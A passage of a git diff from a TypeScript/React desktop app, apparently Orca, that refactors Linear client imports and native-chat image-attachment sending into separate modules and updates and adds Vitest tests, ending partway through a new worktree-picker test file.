+          className="min-h-10 flex-1 resize-none rounded-md border border-input bg-transparent px-3 py-2 text-sm outline-none placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50"
+        />
+        <Button
+          onClick={handleSubmitComment}
+          disabled={!canSubmitComment || commentSubmitting}
+          className="self-end gap-2"
+        >
+          {commentSubmitting ? (
+            <LoaderCircle className="size-4 animate-spin" />
+          ) : (
+            <Send className="size-4" />
+          )}
+          {translate('auto.components.JiraIssueWorkspace.b0b92666c9', 'Comment')}
+        </Button>
+      </div>
+    </div>
+  )
+}
diff --git a/src/renderer/src/components/linear-issue-project-selector.test.tsx b/src/renderer/src/components/linear-issue-project-selector.test.tsx
index c0c16484106..eb0446e9896 100644
--- a/src/renderer/src/components/linear-issue-project-selector.test.tsx
+++ b/src/renderer/src/components/linear-issue-project-selector.test.tsx
@@ -20,7 +20,12 @@ const storeMocks = vi.hoisted(() => ({
   }
 }))
 
-vi.mock('@/runtime/runtime-linear-client', () => runtimeMocks)
+vi.mock('@/runtime/runtime-linear-project-client', () => ({
+  linearListProjects: runtimeMocks.linearListProjects
+}))
+vi.mock('@/runtime/runtime-linear-issue-mutations', () => ({
+  linearUpdateIssue: runtimeMocks.linearUpdateIssue
+}))
 vi.mock('@/store', () => ({
   useAppStore: (selector: (state: typeof storeMocks.state) => unknown) => selector(storeMocks.state)
 }))
diff --git a/src/renderer/src/components/linear-issue-project-selector.tsx b/src/renderer/src/components/linear-issue-project-selector.tsx
index 118c5d1c956..4bdf2de9927 100644
--- a/src/renderer/src/components/linear-issue-project-selector.tsx
+++ b/src/renderer/src/components/linear-issue-project-selector.tsx
@@ -6,7 +6,8 @@ import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { translate } from '@/i18n/i18n'
 import { getLinearProjectSearchRequestQuery } from '@/components/linear-project-search-query'
-import { linearListProjects, linearUpdateIssue } from '@/runtime/runtime-linear-client'
+import { linearUpdateIssue } from '@/runtime/runtime-linear-issue-mutations'
+import { linearListProjects } from '@/runtime/runtime-linear-project-client'
 import { useAppStore } from '@/store'
 import type { LinearIssue } from '../../../shared/linear/issue-types'
 import type { LinearProjectSummary } from '../../../shared/linear/project-types'
diff --git a/src/renderer/src/components/linear-issue-sub-issues.tsx b/src/renderer/src/components/linear-issue-sub-issues.tsx
index adf88992c32..970f7997bfc 100644
--- a/src/renderer/src/components/linear-issue-sub-issues.tsx
+++ b/src/renderer/src/components/linear-issue-sub-issues.tsx
@@ -6,7 +6,7 @@ import { Button } from '@/components/ui/button'
 import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { translate } from '@/i18n/i18n'
-import { linearCreateSubIssue } from '@/runtime/runtime-linear-client'
+import { linearCreateSubIssue } from '@/runtime/runtime-linear-issue-mutations'
 import { useAppStore } from '@/store'
 import type { LinearIssue, LinearIssueChildSummary } from '../../../shared/linear/issue-types'
 import type { TaskSourceContext } from '../../../shared/task-source-context'
diff --git a/src/renderer/src/components/linear-issue-workspace-detail-state.test.tsx b/src/renderer/src/components/linear-issue-workspace-detail-state.test.tsx
index c22b11d93b6..3ee30fc9ae0 100644
--- a/src/renderer/src/components/linear-issue-workspace-detail-state.test.tsx
+++ b/src/renderer/src/components/linear-issue-workspace-detail-state.test.tsx
@@ -20,7 +20,7 @@ const runtimeMocks = vi.hoisted(() => ({
   linearIssueComments: vi.fn()
 }))
 
-vi.mock('@/runtime/runtime-linear-client', () => runtimeMocks)
+vi.mock('@/runtime/runtime-linear-issue-mutations', () => runtimeMocks)
 vi.mock('@/components/LinearItemDrawer', () => ({
   initLinearIssueEditState: (selected: LinearIssue) => ({
     state: selected.state,
diff --git a/src/renderer/src/components/linear-issue-workspace-detail-state.ts b/src/renderer/src/components/linear-issue-workspace-detail-state.ts
index c2082042509..5d69d855be9 100644
--- a/src/renderer/src/components/linear-issue-workspace-detail-state.ts
+++ b/src/renderer/src/components/linear-issue-workspace-detail-state.ts
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react'
 
 import { createBrowserUuid } from '@/lib/browser-uuid'
 import { useMountedRef } from '@/hooks/useMountedRef'
-import { linearGetIssue, linearIssueComments } from '@/runtime/runtime-linear-client'
+import { linearGetIssue, linearIssueComments } from '@/runtime/runtime-linear-issue-mutations'
 import type { RuntimeLinearSettings } from '@/runtime/runtime-linear-client'
 import {
   initLinearIssueEditState,
diff --git a/src/renderer/src/components/mobile/mobile-platform-copy.ts b/src/renderer/src/components/mobile/mobile-platform-copy.ts
index 28b0eed67c7..fd70176609d 100644
--- a/src/renderer/src/components/mobile/mobile-platform-copy.ts
+++ b/src/renderer/src/components/mobile/mobile-platform-copy.ts
@@ -22,7 +22,7 @@ const IOS_CHANNEL_COPY: Record<IosChannel, InstallCopy> = {
 
 const ANDROID_COPY: InstallCopy = {
   ctaLabel: 'Download APK',
-  url: 'https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.44/app-release.apk'
+  url: 'https://github.com/stablyai/orca/releases/download/mobile-android-v0.0.46/app-release.apk'
 }
 
 export function getInstallCopy(platform: Platform, iosChannel: IosChannel): InstallCopy {
diff --git a/src/renderer/src/components/native-chat/NativeChatComposer.test.tsx b/src/renderer/src/components/native-chat/NativeChatComposer.test.tsx
index e7a6269f533..2d90ac30126 100644
--- a/src/renderer/src/components/native-chat/NativeChatComposer.test.tsx
+++ b/src/renderer/src/components/native-chat/NativeChatComposer.test.tsx
@@ -70,9 +70,11 @@ vi.mock('./native-chat-runtime-send', () => ({
   sendNativeChatMessageVerified: (...args: unknown[]) =>
     mocks.sendNativeChatMessageVerified(...args),
   typeNativeChatCommand: (...args: unknown[]) => mocks.typeNativeChatCommand(...args),
-  sendNativeChatMessageWithImageAttachments: vi.fn(),
   submitNativeChatPrompt: vi.fn()
 }))
+vi.mock('./native-chat-runtime-image-send', () => ({
+  sendNativeChatMessageWithImageAttachments: vi.fn()
+}))
 vi.mock('./claude-model-switch-confirmation', () => ({
   createClaudeModelSwitchConfirmationObserver: (...args: unknown[]) =>
     mocks.createClaudeModelSwitchConfirmationObserver(...args)
diff --git a/src/renderer/src/components/native-chat/NativeChatComposer.tsx b/src/renderer/src/components/native-chat/NativeChatComposer.tsx
index 7ec609f8aa1..a0fec999d8a 100644
--- a/src/renderer/src/components/native-chat/NativeChatComposer.tsx
+++ b/src/renderer/src/components/native-chat/NativeChatComposer.tsx
@@ -5,10 +5,10 @@ import { getSettingsForAgentTabRuntimeOwner } from '@/lib/agent-paste-draft'
 import {
   sendNativeChatMessage,
   sendNativeChatTypedCommand,
-  sendNativeChatMessageWithImageAttachments,
   submitNativeChatPrompt
 } from './native-chat-runtime-send'
 import type { NativeChatSendHandle } from './native-chat-runtime-send'
+import { sendNativeChatMessageWithImageAttachments } from './native-chat-runtime-image-send'
 import { resolveNativeChatLaunchDraftSend } from './native-chat-launch-draft-send'
 import { getVerifiedNativeChatCommands } from '../../../../shared/native-chat-agent-profiles'
 import { isSlashCommandDraft } from '../../../../shared/native-chat-slash-commands'
diff --git a/src/renderer/src/components/native-chat/native-chat-availability.test.ts b/src/renderer/src/components/native-chat/native-chat-availability.test.ts
index 9c77e05992a..a08bc476d2f 100644
--- a/src/renderer/src/components/native-chat/native-chat-availability.test.ts
+++ b/src/renderer/src/components/native-chat/native-chat-availability.test.ts
@@ -117,16 +117,19 @@ describe('canToggleNativeChat', () => {
     ).toBe(true)
   })
 
-  it('rejects an unsupported agent detected live (Gemini)', () => {
-    expect(
-      canToggleNativeChat({
-        experimentalNativeChatEnabled: true,
-        contentType: 'terminal',
-        launchAgent: null,
-        detectedAgent: 'gemini'
-      })
-    ).toBe(false)
-  })
+  it.each(['gemini', 'opencode'] as const)(
+    'rejects unsupported agent %s detected live',
+    (agent) => {
+      expect(
+        canToggleNativeChat({
+          experimentalNativeChatEnabled: true,
+          contentType: 'terminal',
+          launchAgent: null,
+          detectedAgent: agent
+        })
+      ).toBe(false)
+    }
+  )
 
   it('accepts Grok when resolved from the title', () => {
     expect(
diff --git a/src/renderer/src/components/native-chat/native-chat-runtime-image-send.ts b/src/renderer/src/components/native-chat/native-chat-runtime-image-send.ts
new file mode 100644
index 00000000000..5dd62b5ef98
--- /dev/null
+++ b/src/renderer/src/components/native-chat/native-chat-runtime-image-send.ts
@@ -0,0 +1,76 @@
+import { sendRuntimePtyInput } from '@/runtime/runtime-terminal-inspection'
+import type { getSettingsForAgentTabRuntimeOwner } from '@/lib/agent-paste-draft'
+import { imagePasteWritesFollowedByText } from '../../../../shared/image-paste-following-text'
+import { NATIVE_CHAT_SUBMIT_DELAY_MS } from '../../../../shared/native-chat-answer-stepping'
+import {
+  buildNativeChatImagePasteBytes,
+  buildNativeChatPasteBytes,
+  NATIVE_CHAT_SUBMIT
+} from './native-chat-send'
+import { enqueueNativeChatPtySend } from './native-chat-pty-send-queue'
+import {
+  clearConfirmDurationMs,
+  clearThenWrite,
+  clearUnsubmittedAgentInput,
+  sendNativeChatMessage,
+  type NativeChatSendHandle,
+  type NativeChatSendOptions
+} from './native-chat-runtime-send'
+
+export const NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS = 300
+
+type RuntimeSettings = ReturnType<typeof getSettingsForAgentTabRuntimeOwner>
+
+export function sendNativeChatMessageWithImageAttachments(
+  settings: RuntimeSettings,
+  ptyId: string,
+  text: string,
+  imagePaths: readonly string[],
+  options?: NativeChatSendOptions
+): NativeChatSendHandle {
+  if (imagePaths.length === 0) {
+    return sendNativeChatMessage(settings, ptyId, text, options)
+  }
+  const trimmedText = text.trim()
+  const durationMs =
+    (trimmedText.length > 0
+      ? NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS + NATIVE_CHAT_SUBMIT_DELAY_MS
+      : NATIVE_CHAT_SUBMIT_DELAY_MS) + clearConfirmDurationMs(options)
+  return enqueueNativeChatPtySend(
+    ptyId,
+    durationMs,
+    ({ isCancelled, delay, markSubmitted }) => {
+      if (isCancelled()) {
+        return
+      }
+      clearThenWrite(settings, ptyId, options, delay, () => {
+        if (isCancelled()) {
+          return
+        }
+        for (const payload of imagePasteWritesFollowedByText(
+          imagePaths.map(buildNativeChatImagePasteBytes),
+          trimmedText.length > 0
+        )) {
+          sendRuntimePtyInput(settings, ptyId, payload)
+        }
+        if (trimmedText.length > 0) {
+          delay(NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS, () => {
+            sendRuntimePtyInput(settings, ptyId, buildNativeChatPasteBytes(text))
+            delay(NATIVE_CHAT_SUBMIT_DELAY_MS, () => {
+              sendRuntimePtyInput(settings, ptyId, NATIVE_CHAT_SUBMIT)
+              markSubmitted()
+            })
+          })
+          return
+        }
+        delay(NATIVE_CHAT_SUBMIT_DELAY_MS, () => {
+          sendRuntimePtyInput(settings, ptyId, NATIVE_CHAT_SUBMIT)
+          markSubmitted()
+        })
+      })
+    },
+    {
+      onCancelUnsubmitted: () => clearUnsubmittedAgentInput(settings, ptyId, options)
+    }
+  )
+}
diff --git a/src/renderer/src/components/native-chat/native-chat-runtime-send-launch-draft.test.ts b/src/renderer/src/components/native-chat/native-chat-runtime-send-launch-draft.test.ts
index 32f4947c3d6..35d8fc9444d 100644
--- a/src/renderer/src/components/native-chat/native-chat-runtime-send-launch-draft.test.ts
+++ b/src/renderer/src/components/native-chat/native-chat-runtime-send-launch-draft.test.ts
@@ -13,12 +13,14 @@ vi.mock('@/runtime/runtime-terminal-inspection', () => ({
 import {
   NATIVE_CHAT_CLEAR_CONFIRM_MS,
   NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT,
-  NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS,
   NATIVE_CHAT_SUBMIT_DELAY_MS,
   resetNativeChatPtySendQueuesForTests,
-  sendNativeChatMessage,
-  sendNativeChatMessageWithImageAttachments
+  sendNativeChatMessage
 } from './native-chat-runtime-send'
+import {
+  NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS,
+  sendNativeChatMessageWithImageAttachments
+} from './native-chat-runtime-image-send'
 import { buildNativeChatPasteBytes, NATIVE_CHAT_SUBMIT } from './native-chat-send'
 import {
   AGENT_TUI_CLEAR_INPUT_MAX,
diff --git a/src/renderer/src/components/native-chat/native-chat-runtime-send.test.ts b/src/renderer/src/components/native-chat/native-chat-runtime-send.test.ts
index 9a16199d52a..dc7fa05e830 100644
--- a/src/renderer/src/components/native-chat/native-chat-runtime-send.test.ts
+++ b/src/renderer/src/components/native-chat/native-chat-runtime-send.test.ts
@@ -14,21 +14,19 @@ import {
   sendNativeChatTypedCommand,
   sendNativeChatMessageVerified,
   typeNativeChatCommand,
-  sendNativeChatMessageWithImageAttachments,
   submitNativeChatPrompt,
   sendNativeChatAskAnswer,
   resetNativeChatPtySendQueuesForTests,
-  NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS,
   NATIVE_CHAT_SUBMIT_DELAY_MS,
   NATIVE_CHAT_QUESTION_STEP_MS,
   NATIVE_CHAT_ADVANCE_BUFFER_MS,
   NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT
 } from './native-chat-runtime-send'
 import {
-  buildNativeChatImagePasteBytes,
-  buildNativeChatPasteBytes,
-  NATIVE_CHAT_SUBMIT
-} from './native-chat-send'
+  NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS,
+  sendNativeChatMessageWithImageAttachments
+} from './native-chat-runtime-image-send'
+import { buildNativeChatPasteBytes, NATIVE_CHAT_SUBMIT } from './native-chat-send'
 
 const SETTINGS = {} as Parameters<typeof sendNativeChatMessage>[0]
 const PTY = 'pty-1'
@@ -337,24 +335,21 @@ describe('sendNativeChatMessageWithImageAttachments', () => {
       NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS + NATIVE_CHAT_SUBMIT_DELAY_MS
     )
 
+    const framedImageWithSeparator = '\x1b[200~/tmp/orca-paste-image.png\x1b[201~ '
     expectWriteOrder(sendRuntimePtyInput.mock.calls, [
       NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT,
-      buildNativeChatImagePasteBytes('/tmp/orca-paste-image.png')
+      framedImageWithSeparator
     ])
 
     vi.advanceTimersByTime(NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS)
-    expect(sendRuntimePtyInput).toHaveBeenLastCalledWith(
-      SETTINGS,
-      PTY,
-      buildNativeChatPasteBytes('what do you see?')
-    )
+    expect(sendRuntimePtyInput).toHaveBeenLastCalledWith(SETTINGS, PTY, 'what do you see?')
 
     vi.advanceTimersByTime(NATIVE_CHAT_SUBMIT_DELAY_MS)
     expect(sendRuntimePtyInput).toHaveBeenLastCalledWith(SETTINGS, PTY, NATIVE_CHAT_SUBMIT)
     expect(sendRuntimePtyInput).toHaveBeenCalledTimes(4)
   })
 
-  it('waits the normal submit gap for an attachment-only send', () => {
+  it('does not append a trailing separator on an attachment-only send', () => {
     const handle = sendNativeChatMessageWithImageAttachments(SETTINGS, PTY, '', [
       '/tmp/orca-paste-image.png'
     ])
@@ -363,7 +358,7 @@ describe('sendNativeChatMessageWithImageAttachments', () => {
 
     expectWriteOrder(sendRuntimePtyInput.mock.calls, [
       NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT,
-      buildNativeChatImagePasteBytes('/tmp/orca-paste-image.png')
+      '\x1b[200~/tmp/orca-paste-image.png\x1b[201~'
     ])
 
     vi.advanceTimersByTime(NATIVE_CHAT_SUBMIT_DELAY_MS - 1)
@@ -374,6 +369,25 @@ describe('sendNativeChatMessageWithImageAttachments', () => {
     expect(sendRuntimePtyInput).toHaveBeenLastCalledWith(SETTINGS, PTY, NATIVE_CHAT_SUBMIT)
   })
 
+  it('treats whitespace-only prompt input as attachment-only', () => {
+    sendNativeChatMessageWithImageAttachments(SETTINGS, PTY, '   ', ['/tmp/orca-paste-image.png'])
+
+    expectWriteOrder(sendRuntimePtyInput.mock.calls, [
+      NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT,
+      '\x1b[200~/tmp/orca-paste-image.png\x1b[201~'
+    ])
+  })
+
+  it('keeps multiple image frames bare and separates only the final frame from prompt text', () => {
+    sendNativeChatMessageWithImageAttachments(SETTINGS, PTY, 'hello', ['/tmp/a.png', '/tmp/b.png'])
+
+    expectWriteOrder(sendRuntimePtyInput.mock.calls, [
+      NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT,
+      '\x1b[200~/tmp/a.png\x1b[201~',
+      '\x1b[200~/tmp/b.png\x1b[201~ '
+    ])
+  })
+
   it('cancels deferred prompt and Enter writes after the attachment path', () => {
     const handle = sendNativeChatMessageWithImageAttachments(SETTINGS, PTY, 'describe', [
       '/tmp/orca-paste-image.png'
@@ -384,7 +398,7 @@ describe('sendNativeChatMessageWithImageAttachments', () => {
     // Pre-clear + image body + cancel clear; no Enter.
     expectWriteOrder(sendRuntimePtyInput.mock.calls, [
       NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT,
-      buildNativeChatImagePasteBytes('/tmp/orca-paste-image.png'),
+      '\x1b[200~/tmp/orca-paste-image.png\x1b[201~ ',
       NATIVE_CHAT_CLEAR_UNSUBMITTED_INPUT
     ])
     expect(sendRuntimePtyInput.mock.calls.some((call) => call[2] === NATIVE_CHAT_SUBMIT)).toBe(
diff --git a/src/renderer/src/components/native-chat/native-chat-runtime-send.ts b/src/renderer/src/components/native-chat/native-chat-runtime-send.ts
index a3b34b4f716..a845fe10d16 100644
--- a/src/renderer/src/components/native-chat/native-chat-runtime-send.ts
+++ b/src/renderer/src/components/native-chat/native-chat-runtime-send.ts
@@ -14,11 +14,7 @@ import {
   NATIVE_CHAT_QUESTION_STEP_MS,
   NATIVE_CHAT_SUBMIT_DELAY_MS
 } from '../../../../shared/native-chat-answer-stepping'
-import {
-  buildNativeChatImagePasteBytes,
-  buildNativeChatPasteBytes,
-  NATIVE_CHAT_SUBMIT
-} from './native-chat-send'
+import { buildNativeChatPasteBytes, NATIVE_CHAT_SUBMIT } from './native-chat-send'
 import {
   AGENT_TUI_COMMAND_KEY_INTERVAL_MS,
   typeAgentTuiCommand
@@ -33,8 +29,6 @@ import {
 export { NATIVE_CHAT_ADVANCE_BUFFER_MS, NATIVE_CHAT_QUESTION_STEP_MS, NATIVE_CHAT_SUBMIT_DELAY_MS }
 export { resetNativeChatPtySendQueuesForTests }
 
-export const NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS = 300
-
 // Why: agent TUI composers treat Ctrl+U as kill-to-start-of-line. Chat sends
 // start from an empty line so a prior cancelled paste cannot glue onto the next
 // prompt. Not used on verified option commands — model-switch confirmation
@@ -73,7 +67,7 @@ export type NativeChatSendHandle = {
 
 type RuntimeSettings = ReturnType<typeof getSettingsForAgentTabRuntimeOwner>
 
-function clearUnsubmittedAgentInput(
+export function clearUnsubmittedAgentInput(
   settings: RuntimeSettings,
   ptyId: string,
   options?: NativeChatSendOptions
@@ -89,7 +83,7 @@ function clearUnsubmittedAgentInput(
  * draft is still visible — the injected line count is only a lower bound on what
  * the buffer holds, since the user can type into the TUI directly.
  */
-function clearThenWrite(
+export function clearThenWrite(
   settings: RuntimeSettings,
   ptyId: string,
   options: NativeChatSendOptions | undefined,
@@ -117,7 +111,7 @@ function clearThenWrite(
 }
 
 /** Extra time a send needs when it stops to confirm the clear before the body. */
-function clearConfirmDurationMs(options?: NativeChatSendOptions): number {
+export function clearConfirmDurationMs(options?: NativeChatSendOptions): number {
   return options?.confirmCleared ? NATIVE_CHAT_CLEAR_CONFIRM_MS : 0
 }
 
@@ -272,57 +266,6 @@ export function sendNativeChatTypedCommand(
   )
 }
 
-export function sendNativeChatMessageWithImageAttachments(
-  settings: RuntimeSettings,
-  ptyId: string,
-  text: string,
-  imagePaths: readonly string[],
-  options?: NativeChatSendOptions
-): NativeChatSendHandle {
-  if (imagePaths.length === 0) {
-    return sendNativeChatMessage(settings, ptyId, text, options)
-  }
-  const trimmedText = text.trim()
-  const durationMs =
-    (trimmedText.length > 0
-      ? NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS + NATIVE_CHAT_SUBMIT_DELAY_MS
-      : NATIVE_CHAT_SUBMIT_DELAY_MS) + clearConfirmDurationMs(options)
-  return enqueueNativeChatPtySend(
-    ptyId,
-    durationMs,
-    ({ isCancelled, delay, markSubmitted }) => {
-      if (isCancelled()) {
-        return
-      }
-      clearThenWrite(settings, ptyId, options, delay, () => {
-        if (isCancelled()) {
-          return
-        }
-        for (const imagePath of imagePaths) {
-          sendRuntimePtyInput(settings, ptyId, buildNativeChatImagePasteBytes(imagePath))
-        }
-        if (trimmedText.length > 0) {
-          delay(NATIVE_CHAT_IMAGE_ATTACHMENT_SETTLE_MS, () => {
-            sendRuntimePtyInput(settings, ptyId, buildNativeChatPasteBytes(text))
-            delay(NATIVE_CHAT_SUBMIT_DELAY_MS, () => {
-              sendRuntimePtyInput(settings, ptyId, NATIVE_CHAT_SUBMIT)
-              markSubmitted()
-            })
-          })
-          return
-        }
-        delay(NATIVE_CHAT_SUBMIT_DELAY_MS, () => {
-          sendRuntimePtyInput(settings, ptyId, NATIVE_CHAT_SUBMIT)
-          markSubmitted()
-        })
-      })
-    },
-    {
-      onCancelUnsubmitted: () => clearUnsubmittedAgentInput(settings, ptyId, options)
-    }
-  )
-}
-
 /** Submit a TUI prompt with no body (Enter only) — e.g. a plain submit when the
  *  composer is empty. */
 export function submitNativeChatPrompt(settings: RuntimeSettings, ptyId: string): void {
diff --git a/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.test.tsx b/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.test.tsx
new file mode 100644
index 00000000000..c512abcebdb
--- /dev/null
+++ b/src/renderer/src/components/new-workspace/ComposerParentWorktreePicker.test.tsx
@@ -0,0 +1,540 @@
+// @vitest-environment happy-dom
+
+import type React from 'react'
+import type * as WorktreeRepoIndex from '@/store/worktree-repo-index'
+import { cleanup, fireEvent, render } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import type { Repo } from '../../../../shared/repo-types'
+import type { WorkspaceLineage, WorktreeLineage } from '../../../../shared/worktree/lineage-types'
+import type { Worktree } from '../../../../shared/worktree/types'
+import { folderWorkspaceKey, worktreeWorkspaceKey } from '../../../../shared/workspace-scope'
+
+type FakeStoreState = {
+  worktreesByRepo: Record<string, Worktree[]>
+  repos: Repo[]
+  projectHostSetups: never[]
+  worktreeLineageById: Record<string, WorktreeLineage>
+  workspaceLineageByChildKey: Record<string, WorkspaceLineage>
+}
+
+const storeState = vi.hoisted(
+  () =>
+    ({
+      worktreesByRepo: {},
+      repos: [],
+      projectHostSetups: [],
+      worktreeLineageById: {},
+      workspaceLineageByChildKey: {}
+    }) as FakeStoreState
+)
+
+const popoverMock = vi.hoisted(() => ({
+  open: false,
+  onOpenChange: undefined as ((open: boolean) => void) | undefined
+}))
+
+const indexSpies = vi.hoisted(() => ({
+  getIndexedAllWorktrees: vi.fn(),
+  getIndexedWorktreeMap: vi.fn(),
+  getIndexedWorktreeById: vi.fn()
+}))
+
+vi.mock('@/i18n/i18n', () => ({
+  translate: (_key: string, fallback: string) => fallback
+}))
+
+vi.mock('react-i18next', () => ({
+  useTranslation: () => ({ t: (_key: string, fallback: string) => fallback })
+}))
+
+vi.mock('@/store', () => ({
+  useAppStore: (selector: (state: FakeStoreState) => unknown) => selector(storeState)
+}))
+
+// Spies wrap the real projections, so exclusion rules stay under test while call
+// counts prove when enumeration happens.
+vi.mock('@/store/worktree-repo-index', async (importOriginal) => {
+  const actual = await importOriginal<typeof WorktreeRepoIndex>()
+  indexSpies.getIndexedAllWorktrees.mockImplementation(actual.getIndexedAllWorktrees)
+  indexSpies.getIndexedWorktreeMap.mockImplementation(actual.getIndexedWorktreeMap)
+  indexSpies.getIndexedWorktreeById.mockImplementation(actual.getIndexedWorktreeById)
+  return { ...actual, ...indexSpies }
+})
+
+vi.mock('@/components/ui/popover', async () => {
+  const { cloneElement } = await import('react')
+  return {
+    Popover: ({
+      children,
+      open,
+      onOpenChange
+    }: {
+      children: React.ReactNode
+      open?: boolean
+      onOpenChange?: (open: boolean) => void
+    }) => {
+      popoverMock.open = open ?? false
+      popoverMock.onOpenChange = onOpenChange
+      return <div>{children}</div>
+    },
+    // Radix `asChild` renders the child itself and owns its click; mirror that.
+    PopoverTrigger: ({ children }: { children: React.ReactElement }) =>
+      cloneElement(children as React.ReactElement<{ onClick?: () => void }>, {
+        onClick: () => popoverMock.onOpenChange?.(!popoverMock.open)
+      }),
+    // Radix mounts content only while open — the property the lazy list relies on.
+    PopoverContent: ({ children }: { children: React.ReactNode }) =>
+      popoverMock.open ? <div>{children}</div> : null
+  }
+})
+
+vi.mock('@/components/ui/command', () => ({
+  Command: ({ children, className }: { children: React.ReactNode; className?: string }) => (
+    <div className={className}>{children}</div>
+  ),
+  CommandInput: ({
+    ref,
+    value,
+    placeholder,
+    onValueChange,
+    onKeyDown,
+    onKeyUp,
+    onCompositionStart,
+    onCompositionEnd
+  }: {
+    ref?: React.Ref<HTMLInputElement>
+    value?: string
+    placeholder?: string
+    onValueChange?: (value: string) => void
+    onKeyDown?: React.KeyboardEventHandler<HTMLInputElement>
+    onKeyUp?: React.KeyboardEventHandler<HTMLInputElement>
+    onCompositionStart?: React.CompositionEventHandler<HTMLInputElement>
+    onCompositionEnd?: React.CompositionEventHandler<HTMLInputElement>
+  }) => (
+    <input
+      ref={ref}
+      data-slot="command-input"
+      value={value}
+      placeholder={placeholder}
+      onChange={(event) => onValueChange?.(event.target.value)}
+      onKeyDown={onKeyDown}
+      onKeyUp={onKeyUp}
+      onCompositionStart={onCompositionStart}
+      onCompositionEnd={onCompositionEnd}
+    />
+  ),
+  CommandList: ({
+    ref,
+    children,
+    className
+  }: {
+    ref?: React.Ref<HTMLDivElement>
+    children: React.ReactNode
+    className?: string
+  }) => (
+    <div ref={ref} className={className}>
+      {children}
+    </div>
+  )
+}))
+
+// The virtual window needs real layout the test DOM has none of; render every row.
+vi.mock('@tanstack/react-virtual', () => ({
+  useVirtualizer: ({ count }: { count: number }) => ({
+    getTotalSize: () => count * 44,
+    getVirtualItems: () =>
+      Array.from({ length: count }, (_, index) => ({
+        index,
+        key: index,
+        start: index * 44,
+        size: 44
+      })),
+    scrollToIndex: vi.fn(),
+    scrollToOffset: vi.fn()
+  })
+}))
+
+const { ComposerParentWorktreePicker } = await import('./ComposerParentWorktreePicker')
+
+const REPO_ID = 'repo1'
+
+function makeRepo(id: string): Repo {
+  return {
+    id,
+    path: `/src/${id}`,
+    displayName: id,
+    badgeColor: '#111111',
+    addedAt: 0
+  } as Repo
+}
+
+function makeWorktree(overrides: Partial<Worktree> & { id: string }): Worktree {
+  return {
+    repoId: REPO_ID,
+    path: `/work/${overrides.id}`,
+    head: 'abc123',
+    branch: 'refs/heads/feature',
+    isBare: false,
+    isMainWorktree: false,
+    displayName: overrides.id,
+    comment: '',
+    linkedIssue: null,
+    linkedPR: null,
+    linkedLinearIssue: null,
+    isArchived: false,
+    isUnread: false,
+    isPinned: false,
+    sortOrder: 0,
+    lastActivityAt: 0,
+    ...overrides
+  }
+}
+
+function seed(worktrees: Worktree[], repoIds: string[] = [REPO_ID]): void {
+  const byRepo: Record<string, Worktree[]> = {}
+  for (const worktree of worktrees) {
+    byRepo[worktree.repoId] = [...(byRepo[worktree.repoId] ?? []), worktree]
+  }
+  storeState.worktreesByRepo = byRepo
+  storeState.repos = repoIds.map(makeRepo)
+}
+
+function trigger(): HTMLButtonElement {
+  const node = document.querySelector<HTMLButtonElement>('button[role="combobox"]')
+  if (!node) {
+    throw new Error('parent picker trigger not found')
+  }
+  return node
+}
+
+function rows(): HTMLElement[] {
+  return Array.from(document.querySelectorAll<HTMLElement>('[role="option"]'))
+}
+
+function candidateLabels(): string[] {
+  return rows()
+    .slice(1)
+    .map((row) => row.textContent ?? '')
+}
+
+function searchInput(): HTMLInputElement {
+  const node = document.querySelector<HTMLInputElement>('[data-slot="command-input"]')
+  if (!node) {
+    throw new Error('parent picker search input not found')
+  }
+  return node
+}
+
+function rowFor(label: string): HTMLElement {
+  const row = rows().find((node) => node.textContent?.includes(label))
+  if (!row) {
+    throw new Error(`row not found for ${label}`)
+  }
+  return row
+}
+
+beforeEach(() => {
+  popoverMock.open = false
+  popoverMock.onOpenChange = undefined
+  storeState.worktreesByRepo = {}
+  storeState.repos = []
+  storeState.worktreeLineageById = {}
+  storeState.workspaceLineageByChildKey = {}
+  indexSpies.getIndexedAllWorktrees.mockClear()
+  indexSpies.getIndexedWorktreeMap.mockClear()
+  indexSpies.getIndexedWorktreeById.mockClear()
+})
+
+afterEach(cleanup)
+
+describe('ComposerParentWorktreePicker', () => {
+  it('enumerates candidate worktrees only once the popover opens', () => {
+    seed([makeWorktree({ id: 'alpha' }), makeWorktree({ id: 'beta' })])
+
+    render(<ComposerParentWorktreePicker repoId={REPO_ID} value="alpha" onChange={vi.fn()} />)
+
+    // The closed trigger resolves one name from the shared index; it never enumerates.
+    expect(indexSpies.getIndexedWorktreeById).toHaveBeenCalled()
+    expect(indexSpies.getIndexedAllWorktrees).not.toHaveBeenCalled()
+    expect(indexSpies.getIndexedWorktreeMap).not.toHaveBeenCalled()
+
+    fireEvent.click(trigger())
+
+    expect(indexSpies.getIndexedAllWorktrees).toHaveBeenCalled()
+    expect(indexSpies.getIndexedWorktreeMap).toHaveBeenCalled()
+  })
+
+  it('shows "No parent" on the closed trigger when nothing is picked', () => {
+    seed([makeWorktree({ id: 'alpha' })])
+
